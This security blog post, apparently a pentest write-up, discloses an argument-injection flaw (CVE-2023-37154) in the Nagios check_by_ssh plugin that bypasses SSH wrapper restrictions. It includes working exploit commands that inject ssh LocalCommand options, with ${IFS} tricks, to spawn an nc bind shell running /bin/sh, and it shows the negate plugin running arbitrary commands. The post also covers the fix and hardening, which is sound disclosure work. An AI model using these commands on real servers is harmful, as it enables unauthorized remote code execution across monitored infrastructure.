Nagios-compatible systems are some of the most widely used infrastructure monitoring solutions. They use “plugins” to monitor server performance, with “Nagios Core” interpreting results. However, there’s a potentially significant security issue with Nagios and its default plugins – they may be an effective backdoor to the monitored servers. Even with sysadmin restrictions on the user, it’s possible to bypass these restrictions and achieve remote code execution.
In this blog post, we’ll explore how Nagios can be used to execute arbitrary commands on servers with nagios-plugins or monitoring-plugins/monitoring-plugins installed, and how argument injection vulnerabilities can be abused to bypass restrictions on the nagios user’s SSH access.
Nagios: A Quick History. ###
“Nagios” was originally created in 1999, and is one of the world’s most popular infrastructure monitoring solutions. Effectively, Nagios has two parts: its core system, and its plugin system. The core system connects remotely to the server it is monitoring, runs a “plugin”, and then handles the response.
Nagios Core has under-gone various forks and clones in history, forming the basis for Naemon and Icinga, as well as op5, Shinken. Various projects have been created in peripheral to Nagios, such as Thruk and Nagios XI, which are web interfaces for the aforementioned core systems.
Nagios Plugins ###
Nagios Plugins are small programs or scripts that perform the checks or tests on the host. These plugins can do practically anything: check connectivity to networks or services, check system statistics, perform tests on local or remote services, and so on. They are completely modular, so you can add plugins to monitor specific services for your environment easily: they simply must return an exit status code and some text that can be parsed by Nagios Core.
Nagios Connection Methods ###
Again, it is important to note that the monitoring data is nearly always collected via a pull method – Nagios Core connects to the server being monitored, plugins are run, and data is collected. The connection is generally either using SSH, or NRPE (Nagios Remote Plugin Executor); the former using either SSH keys or credentials, and the latter of which can be authenticated using a pre-defined SSL certificate.
The Nagios official documentation states that SSH is more secure than NRPE. But is that completely true?
Nagios Backdoor User ###
When you set up nagios-plugins on the monitored host, you normally create a new user for the plugins to run. Just like other human users on the server, this user has access to a shell accessible via SSH.
If Nagios uses SSH to execute the plugins on the server, then, effectively, a backdoor account has been created: if you hack the private key from the Nagios Core server, then you can gain system access to every server being monitored. Seems bad, right?
In reality, people don’t usually allow the Nagios user on their monitored servers unrestricted shell access. Instead, a wrapper script restricts the user to running only installed plugins. For example, a restriction on Nagios’ SSH key in authorized_keys:
command="/var/nagios/wrapper.sh",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa [..ssh pubkey..]
could limit the user to running only plugins installed in /usr/lib/nagios/plugins/:
#!/bin/sh
case "$SSH_ORIGINAL_COMMAND" in
check_[a-z]*)
/usr/lib/nagios/plugins/$SSH_ORIGINAL_COMMAND
;;
*)
exit 1
;;
esac
This way, the only commands that can be executed via SSH must begin with the name of an installed plugin. At first glance, this is a practical solution to restricting this account to not act as a backdoor for anybody that is able to gain access to the Nagios server.
Nagios Plugin Hacking ###
During a recent pentest, I was in this exact situation: I had hacked the Nagios Core server, and had the private key used to connect via SSH to thousands of servers being monitored via Nagios. However, I couldn’t get a shell. Not straight away, at least.
Looking through the list of default installed plugins by the Debian package, I came across the check_by_ssh plugin, which “uses SSH to execute commands on a remote host”. That is to say, Nagios Core connects to a monitored server, and that monitored server then connects to a further system.
check_by_ssh comes with a handy option to pass parameters to the ssh client when it is executed on the monitored server:
-o, --ssh-option=OPTION
Call ssh with '-o OPTION' (may be used multiple times) [optional]
Coincidently while I was performing this aforementioned pentest, I was also working on a website documenting different ways to achieve command execution using a vulnerability known as argument injection. On that website, I have a list of different ways that the ssh client can be abused to execute commands locally. Documented at gtfoargs.github.io/gtfoargs/ssh, I list the well-known ProxyCommand, PermitLocalCommand, and LocalCommand options available in SSH, which will execute commands on the client side.
Effectively, check_by_ssh will call ssh(1), which will call system(3) with user-supplied data.
Putting this all together, I realized that I could abuse this functionality to execute commands on the monitored system, using this check_by_ssh plugin. Using the following commands, I could execute uname:
ssh -i nagios.key nagios@server 'check_by_ssh -H remote-server -l passwordlessuser -o PermitLocalCommand=yes -o LocalCommand="uname" -o StrictHostKeyChecking=no'
The monitored server would connect to remote-server using the passwordlessuser user successfully, and uname would run on the monitored server itself. Due to either a limitation or bug in check_by_ssh, spaces did not work for the -o parameter of check_by_ssh.
The solution to this problem was to use \${IFS} in place of every space needed. As such, I came up with:
ssh -i nagios.key nagios@server "check_by_ssh -H remote-server -l passwordlressuser -v -o PermitLocalCommand=yes -o StrictHostKeyChecking=no -o LocalCommand=nc\${IFS}-l\${IFS}-p1337\${IFS}-e/bin/sh"
and was able to spawn a shell on port 1337.
Discussion and Fix ###
Different providers of nagios-plugins view this issue differently. The original http://nagios-plugins.org/ considers this an issue and has fixed it in this commit. monitoring-plugins, which provides nagios-plugins for Ubuntu and Debian, do not consider this an issue, and they conclude that while the execution of arbitrary commands by check_by_ssh is not well known, there may be legitimate reason to support the functionality afforded by ssh(1). In the former case, CVE-2023-37154 was assigned to the issue.
There is of course another discussion of how much responsibility lays on the sysadmins monitoring these systems. Other than abusing this functionality in check_by_ssh, the negate plugin can also arbitrarily run commands by design:
# ./negate --help
[..]
Negates the status of a plugin (returns OK for CRITICAL and vice-versa).
Additional switches can be used to control which state becomes what.
# ./negate '/bin/uname -a'
Linux security 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 GNU/Linux
However, even if a sysadmin installs only the plugins they need, there is an unknown factor of whether the plugins may possibly execute arbitrary commands on the host themself.
The aforementioned NRPE (which is now deprecated) recommended using predefined lists of commands which the plugins on the servers would run. In order to parse user-defined arguments, one must specifically configure dont_blame_nrpe=1. That may be the most secure method for SSH too.
Conclusion ###
In the world of security, it is the weakest link that an attacker should focus their attention on. Whether it be physical or digital, a server or a service; if an attacker is able to compromise a link that is imperative to the overall chain, then the whole chain falls. Monitoring systems are often neglected in terms of security despite their wide-reaching access. If you can take the Nagios server, you can take over the whole farm.